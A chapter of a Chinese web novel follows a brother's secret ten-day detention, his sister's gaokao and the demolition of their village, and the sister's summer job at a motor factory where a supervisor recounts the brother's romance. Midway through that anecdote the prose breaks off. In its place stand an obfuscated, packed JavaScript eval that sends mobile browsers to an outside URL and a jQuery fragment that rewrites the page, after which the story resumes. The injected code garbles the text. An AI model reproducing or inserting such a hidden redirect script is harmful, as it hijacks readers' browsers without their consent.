时值二零一六年四月下旬，某天下午，上海一家游戏公司的办公室内，两人眉头紧锁，正就某事商议着。坐在办公椅上的人苦口婆心劝解许久，可对面那人依旧坚持己见。无奈之下，他靠在椅背上，带着一丝认命，做着最后的努力：“你真的非做不可吗？再好好考虑考虑吧。”
站着的人长叹一口气，他又怎会不知此举的代价？但他心意已决：“我已经想好了，这件事我必须去做，否则我无法给自己多年的坚持一个交代。况且我只是个微不足道的小角色，写的东西或许连让他们过目都没资格，应该不会有事的。”
见他如此坚决，吴浩波也无计可施：“算了，你自己看着办吧。”于是，如周行一所愿，五一前后的十天，他都在看守所里度过。
自昨日从学校回家后，石兰便认真做好饭菜，在饭桌前痴痴等待，直到心碎，也没等到他回家。她心想，或许是哥哥通宵加班了，毕竟这种情节她常在电视剧里看到。
然而，直到今天下午四点，她做了好些张卷子，困得直犯迷糊，快要睡着了，依旧不见哥哥的踪影。“不会出什么事了吧？”她心里愈发压抑，渐渐感到喘不过气。她急忙跑到哥哥房间，找到那部备用老人机，充了些电后，翻找里面的联系人，却发现里面空空如也，一个电话号码都没存。
她试探着拨打哥哥的电话，却只听到电话已关机的提示音。所幸她还记得吴浩波的电话，双手颤抖着按下一个个按键。一阵忙音后，电话接通了，那头传来吴浩波的声音：“喂，谁啊？”
她努力压制内心的恐惧，说道：“波波哥，我是石兰。我哥去哪了？我等了他一天都没回来，哪有五一节不休息的呀。”
电话那头沉默了片刻，说道：“你打不通他电话吗？你哥要休息好几天呢，他去日本了，之前定的合同需要续签，五一都回不来，别等了。你哥离开前给你留生活费了没？我后天过来给你拿点。”
听到肯定的答复，她悬着的心渐渐平静下来。还好，哥哥只是去忙工作了。“那好吧，谢谢波波哥。”
五月三日，看着门外的吴浩波递来两千块钱，她一边一个劲地摆手说太多了，一边邀请他进屋坐坐。可吴浩波哪敢进去，他生怕多说几句就会露馅，便说道：“你哥昨天跟我说，他可能下个月都回不来，出的麻烦比较大。让我一次性多给你点，不然下个月我还得跑一趟。就这样吧，我先走了，我马上要去公司了。”说完，他把钱放在鞋柜上，像逃跑似的奔向电梯。
聪慧如她，早已从他局促的举动中察觉到异样，只是没想到哥哥是被拘留了。可她又能怎么办呢？她一无所有，无能为力。不过从吴浩波虽心虚但并不慌乱的表现来看，她能感觉到麻烦应该不大，她所能做的，唯有在心里默默为哥哥祈福。
因为要回户籍地参加高考，六月四日，周行一带着她回到了那里。
推开那扇关闭近一年的铁门，扑面而来的灰尘呛得两人咳嗽不止。她熟练地走进屋子，打开窗户，阳光照进来的瞬间，无数灰尘在光线中随空气飘动。她打开灯，只见曾经干净整洁的墙壁、地面和家具上，都蒙着一层薄薄的灰尘。她用手在桌子上轻轻一捻，便留下一个清晰的手指印。看着食指上的灰尘，她心中五味杂陈。
这时，不远处传来熟悉的声音：“石兰回来啦？”是隔壁搬迁户里的大娘。
她回头迎上去，说道：“嗯，回来了。”
秦大娘见到一年未见的两人，邀请他们去家里坐坐。走进秦大娘家，周行一看到屋里有两个小孩，一男一女。大的女孩约四五岁，小的男孩刚断奶不久，在学步车里哭闹着。经妹妹介绍，他才知道秦大娘独自在家照顾儿子的孩子，孩子的爷爷和儿子儿媳都在广东打工，女儿则嫁给了县城的一户本地人，在省会工作。
他看到小女孩面对妹妹的招呼毫无反应，怯生生地躲在奶奶身后。四五岁的孩子记忆尚浅，见到陌生人害怕也正常。石兰试着逗她，却毫无效果，眼神渐渐黯淡：“去年还整天缠着我姐姐长姐姐短地叫，这还不到一年呢。”
秦大娘一边把孙女往前推，一边解释道：“小孩子记不住事呢。”石兰当然明白这些道理，但真正面对时，心中难免苦涩。她放弃逗女孩，转而逗小男孩，这种奶香味十足的小孩子最好玩了，一逗就傻傻地直笑。
秦大娘费了好大劲，终于把孙女推到他们面前。小女孩小声叫了声姐姐后，秦大娘才松了口气，说道：“我去做晚饭，你们一起吃吧。”
她看了眼正在逗小孩的哥哥，找不到拒绝的理由，便答应了。吃晚饭时，闲聊中得知这里还有两个月就要动迁了。“这么快吗？去年还只是有这个规划啊。”周行一确认后，又问，“那你们到时候打算去哪？”
“我们一家人商量好了，准备回外县。来这里十多年了，身边就两户熟人。本地人排外得很，一点小事就上纲上线欺负人。留下来也没意义，出来这么多年都没回去看过，等拆迁款下来，就回外县买套房子，也算是落叶归根了。”
落叶归根这几个字说起来轻巧，做起来却并不容易。石兰又想起已嫁人生子的二姐：“那二姐呢？她都嫁到这里了，也回去吗？”
“没办法，她回不去了，那边肯定不同意。也许前年就该再缓缓。”秦大娘叹息着自家的命运。世事无常，谁能料到会有这些波折呢？后悔也来不及了。
“那杨勇他们呢？”石兰问起秦大娘一家搬到隔壁县的同宗的打算，杨勇和她同辈，比她大八九岁。
“他们还没定。先是说跟我们一起回外县，后来又说儿子女儿都在广东安家了，以后就呆在广东。反正四月杨勇有了儿子后，他爸妈都去广东照顾孩子了。”
出来这么多人，最终却落得这般境地。听着秦大娘平淡的讲述，周行一感慨万千。他自己的人生虽不算糟糕，但此刻却对这些人的苦难和哀愁感同身受。
他不禁想起那句名言：幸福的家庭都是相似的，不幸的家庭各有各的不幸。别人的痛苦可以尽情倾诉发泄，可自己的痛苦又能向谁诉说呢？他无从知晓。五一前寄出的那封信，让他真切地意识到，自己多年的坚持如梦幻泡影。就像歌词里唱的：“阳光下的泡沫，一触就破。”如今，泡沫已被轻易戳破，他不得不面对这残酷的现实。
但他还有家人，还有妹妹。他只能将这份忧愁深深埋在心底。他仿佛已预见自己的结局，或许等家人都离开后，自己也会随他们而去，毕竟五一之后，一切都已失去意义。
吃完晚饭，石兰回到家，简单打扫了一下卫生，拒绝了哥哥去住酒店的提议：“在这里也没几晚可呆了，我想能多呆一晚是一晚。毕竟过几天就没机会了。”
见她如此坚持，周行一便随她去了，自己一人去住酒店。家里连空调都没有，他实在受不了。他有时也会感慨，小时候在周家湾是怎么熬过来的，那里可比这里热多了，五月到十月末，除了下雨天，每天都是高温橙色预警，前年暑期回去，他被逼得给奶奶家安了空调。难道年岁增长带来的就是这些吗？他想了一会儿后不得不承认，确实如此。
在这里的这些日子里，周行一找到村支书，了解到具体的拆迁细节。“前期工作都处理好了，过年的时候永康村就要没了！”面对即将到来的结局，在这片土地上生活了近五十年的村支书也忍不住落泪。是啊，家没了，给点钱又有什么用呢？钱还不多。虽说以后还能在缪江，能常回来看看，但也只是看看，再也无法长久停留。动土的日子越来越近，他的心也愈发沉重，最近常常整夜失眠。他终于理解了那三户搬迁户的心情。面对村民的询问，他只能尽力安慰：“这是为经济建设做贡献。”可这话连他自己都无法说服，又怎能说服别人呢？渐渐地，他不再提这些，转而说早点拆迁早点安心，毕竟该来的总会来，他也无能为力。
高考结束第二天，石兰来到村委会签拆迁协议。在表格上签字的那一刻，她仿佛得到解脱，面无表情地工工整整写下自己的名字。出门时，若不是周行一眼疾手快，她差点瘫倒在地。
石兰把家里收拾好，将骨灰盒都装进箱子。她在屋里四处张望，又趁着傍晚出去转了转。也许，这是她最后一次看这个生活了十多年的地方。回首过往，一切如梦似幻。如今，梦即将结束，而做梦的人仿佛死过一回，久久无法醒来。
“我们走吧。”周行一打开出租车门，对仍在凝望远处山丘的妹妹说道。
这一刻终究还是来了，她感慨着，回头上了车，闭上眼睛，不愿看到沿途的景象，在心里默念：自己并不属于这里。
回到上海家中后，她整日无所事事。高考目标的缺失，仿佛抽走了她的灵魂。每个上午，她都赖在床上不愿起身；实在饿得受不了，才随便吃点面包果腹。下午，她就横躺在沙发上，不断切换着电视频道，临近饭点时，才匆匆做顿简单的晚饭应付。晚上，她躲在被窝里，用哥哥刚给她买的手机刷微博、打游戏。
好几次，周行一难得早早下班回家，就看到她像条蛆虫般横躺在沙发上，一动不动。吃完的碗筷随意扔在餐桌上，连丢进洗碗机的工夫都没有，维持着自己离开时的模样。原本乖巧听话的她，如今竟这般堕落。周行一训了她几句，她居然还顶嘴。
一天，周行一刷到以前在希立的同事发的朋友圈，突然想起希立的电机厂每年都会招聘暑假工。于是第二天，她就被送到了厂里。流水线上的工人可不认识谁是周行一谁又是周行二，没几天，她就被骂哭了，打电话向哥哥诉苦，希望换个厂子。周行一自然不会同意，他在电机厂熟人众多，能随时了解她的情况。而且他已特意交代，给她安排的工作并不累，还让朋友时不时拍照片给他。这条生产线是他轮岗时一手组建的，工作强度如何，他再清楚不过。
后来还是他的朋友看不下去，私自把她调到了仓库。她到二楼仓库的第一天，办公室里就开始窃窃私语。一个前几天还在生产线上哭哭啼啼的暑假工，如今竟堂而皇之地出现在如此重要的地方，明眼人一看就知道是关系户。大家本着惹不起躲得起的原则，都对她避而远之。
如此一来，她只能和办公桌后面负责产线质量的IQPC陈主管聊聊天。陈主管是位四十来岁的中年女性，虽然不知道她是谁的亲戚，但对于这种塞人的事早已见怪不怪。
直到有一天晚上，石兰在办公桌上和哥哥微信视频时，陈主管路过无意间看到了，这才知道她是周行一的妹妹。陈主管在边上冲着手机里的周行一调侃道：“你可真行啊。当初在我们这儿的时候，骂关系户骂得最凶的就是你了，现在自己也这么干了。”周行一还在装傻：“有吗？我不记得了，那不是詹星指使我做的嘛。”
知道她是周行一的妹妹后，办公室的人对她的态度好了许多。毕竟大家都传言，周行一不当业务员后，可能会来这里或者其他分厂当副总，只是年纪不够才被卡住。而且他和公司高层关系不错，没必要因为这点事惹麻烦。
在办公室里，除了石兰，陈主管是最了解周行一的人。她全程见证了韩立春和周行一的恋情，并在其中起到了很关键作用。
每天晚上办公室人少的时候，陈主管就会悄悄向石兰炫耀自己是如何促成他们俩在一起的：“我当时是仓库主管，她来没两天，就总在走廊饮水机那儿拿着水杯喝半天。我问她马上要吃饭了还喝这么多干啥，她就慌了，过了好半天才说在减肥，多喝点水垫垫，省得一会儿吃多了。”
“有时候她吃完饭也在那儿喝水，拿着矿泉水瓶接半瓶水，一小口一小口地喝。有一天她喝水时还故意问我，喝水是不是真能减肥。我说你九十来斤还减啥，她就笑着说能减一点是一点。”
“后来你哥升职到这间办公室做我现在这个位置，刚好管着立春。我就发现她不知道什么时候开始就不再饭点去茶水间喝水了。有次我问她怎么不喝了，她就说喝水不但没减肥，还让她胖了。”
“后来我才反应过来，那时候你哥先在产线做巡检，吃饭比别人早十分钟，她就趁那时候去走廊看他。有时候下面车间办公室要巡检打标签，吃饭就会晚。她到食堂没看到你哥，就知道原因，吃完饭回来接着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231296|197623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝水等他。”
“她负责检验纸箱和小五金。有一天，我发现她拿了一袋白色螺钉，从下午吃完饭拿到晚上还没检验完，就放在办公桌上一动不动。因为每天送来的东西都要入账，一直显示在检验中，我就过去想问她是不是有问题。”
“远远地我就看见她正捏着螺钉，走近一看，发现她用螺钉在台面上摆了‘周行一’三个字，还在那儿盯着字傻笑。我就知道她喜欢你哥。”
“我在她身后站了好一会儿，她才发觉不对劲，一回头看到是我，才放下心来，因为她知道我不会说出去。”
“我问她怎么想的，她说自己也不清楚，不知道你哥有没有女朋友，也不敢自己问。然后她就拜托我帮她问一下，还特意提醒我，就说是产线上的一个美女让问的。”
“那天晚上，她、我、你哥还有几个人都在办公室。她看了我一眼，就去茶水间给我打电话。我走到你哥旁边小声说，有个一楼车间的美女让我问你有没有女朋友。你哥扭扭捏捏不想说，我就说最好给个明确答复，好让人家知道下一步怎么办。然后你哥就说，那就告诉她自己有。”
“过了一会儿，立春回来，也不敢直接跟你哥说，就跟我一样，说一楼有个女孩子让帮忙问。”
“你哥逗她，说不会那个美女就是你吧？”
“她被吓住了，支支吾吾说不出话。我走过去跟你哥说，如果就是立春呢，你怎么说？你哥盯着她看了好半天，说可以考虑一下。”
“然后立春就哭了。你哥马上反应过来，说还真是你啊？她问你哥愿不愿意，你哥又不说话，把她气得哭的更大声了。”
“我们几个人都看呆了，我招呼他们跟我一起出去了。后面的事就不清楚了，反正第二天他们两个带了好多零食到办公室分给大家。”
八月初的一天，石兰从仓库发料回来，看到办公室的人都坐在工位上，对着鼠标点个不停。她回到自己的工位，像往常一样，盯着显示屏上的自己发呆。陈主管见她无动于衷，急忙催促：“发什么呆，赶紧对一下账，看看有没有差错。总部的审计马上要来进行内部审查了。”
她不知道审计是什么，但看到办公室的人都如临大敌，只好有样学样，装作忙碌的样子。陪同审计部门一起来的有她的熟人，但大家都在工作，只能装作不认识。吃晚饭的时候，她看到那个人站在食堂门口向她点头。石兰走过去，问道：“詹星姐，你在等我吗？”
“对啊，走吧，咱们去外面吃点好的。这食堂的饭菜你也吃得下去？我记得你哥说过，他第一次吃的时候，闻到餐盘上有洗洁精的味道，差点把隔夜饭都吐出来了。”
她不知如何拒绝，只好说：“那好吧，就去一条街的快餐店吃。不然我怕回来没时间打卡了。”
“还打什么卡，就一晚上不加班而已。我跟你们主管说一声就行。”
话都说到这份上，她只好乖乖跟在詹星身后，朝停车的地方走去。公司附近的商业一条街有两家快餐店。詹星问她：“哪家好吃点？”
“我不知道，我没来过。周末食堂不开饭，我一般去吃沙县小吃。”她如实回答。
“那就选人多的吧，厂区附近的店，一般好吃才会人多。”既然是詹星请客，就由她安排。这个时间，店里大多是电机厂的员工，一般是小领导或者本地人。看到总部的大领导来了，认识的人赶紧和别人拼桌，在她们点菜前，默契地空出了最角落的桌子。
“姐，那儿有空桌子，我们去那儿吧。”没心没肺的石兰看到刚清出来的桌子，兴奋不已，没察觉到有什么异样。
詹星心里自然明白，但她早已习惯了这种待遇。刚开始工作时，她还会客气一下，后来渐渐明白，即便自己不在意，职场规矩却一直存在。自己作为受益者可以拒绝，但其他人呢？其他公司领导又该如何自处？最后她也就随他们去了。
因为不用加班，她们边吃边聊，吃得很慢。两个一看就是暑假工的女孩看到有空位，也坐了过来。
詹星看着两个陌生的穿着希立工衣的女孩，问道：“你们怎么不在食堂吃？是不是也觉得难吃？”
其中一个女孩抱怨道：“对啊，比我们学校食堂还难吃。四季豆好像都没炒熟，冬瓜条也是夹生的。火腿肠炒蛋居然算荤菜。就这两素一荤还要十块钱，全是套路，我真是服了。”
詹星又问：“那你们来外面吃不是更贵吗，和食堂差不多吧？”
女孩说：“不会啊，这里一份菜量很大，我们选两个菜一起吃，算下来和食堂差不多，平均也就贵三四块。”
詹星看着和石兰年纪差不多的两个女孩，不禁感叹现在的孩子聪明机灵，有自己的想法，不好糊弄了。
下午只有半小时吃饭时间，两个女孩吃得很快。不一会儿桌上就只剩下石兰和詹星，其他顾客也大多离开了。这时，她们才真正开始聊天。
“你有空的话，多帮你哥留意留意，有没有合适的女孩子，别让他太孤单了。”
石兰愣住了，说：“他不是有女朋友吗？虽然我没见过，但听主管的描述，感觉是个温柔的姐姐。而且他们还没分手，这么做不太好吧。”
见她不明白，詹星无奈地说：“去年就跟你说过，他们俩不合适，走不到一起的。要是立春知道你哥五一的时候干的事，不得当场气炸？”她接着说：“五一的时候，你哥不是进局子了吗？他是耐不住寂寞去叫小姐，然后被抓了，在里面关了十天。立春对感情很看重，绝对接受不了男朋友有这种事。”
石兰已经听不进詹星后面说的话了，听到一直信任敬仰的哥哥居然做出找女人这种丑事，她手中的碗筷不由自主地滑落，掉在了桌子上。
詹星见她这反应，就知道她不知情，便说：“五一的时候浩波是不是给了你两千块？你那次打电话给他，我问他怎么回事，他说你哥进去了，没时间留生活费，让他给你送点钱。”，她又说：“你有空多陪陪你哥，别让他太孤单。人太闲了就容易做出怪事。”
“嗯。”石兰答应了。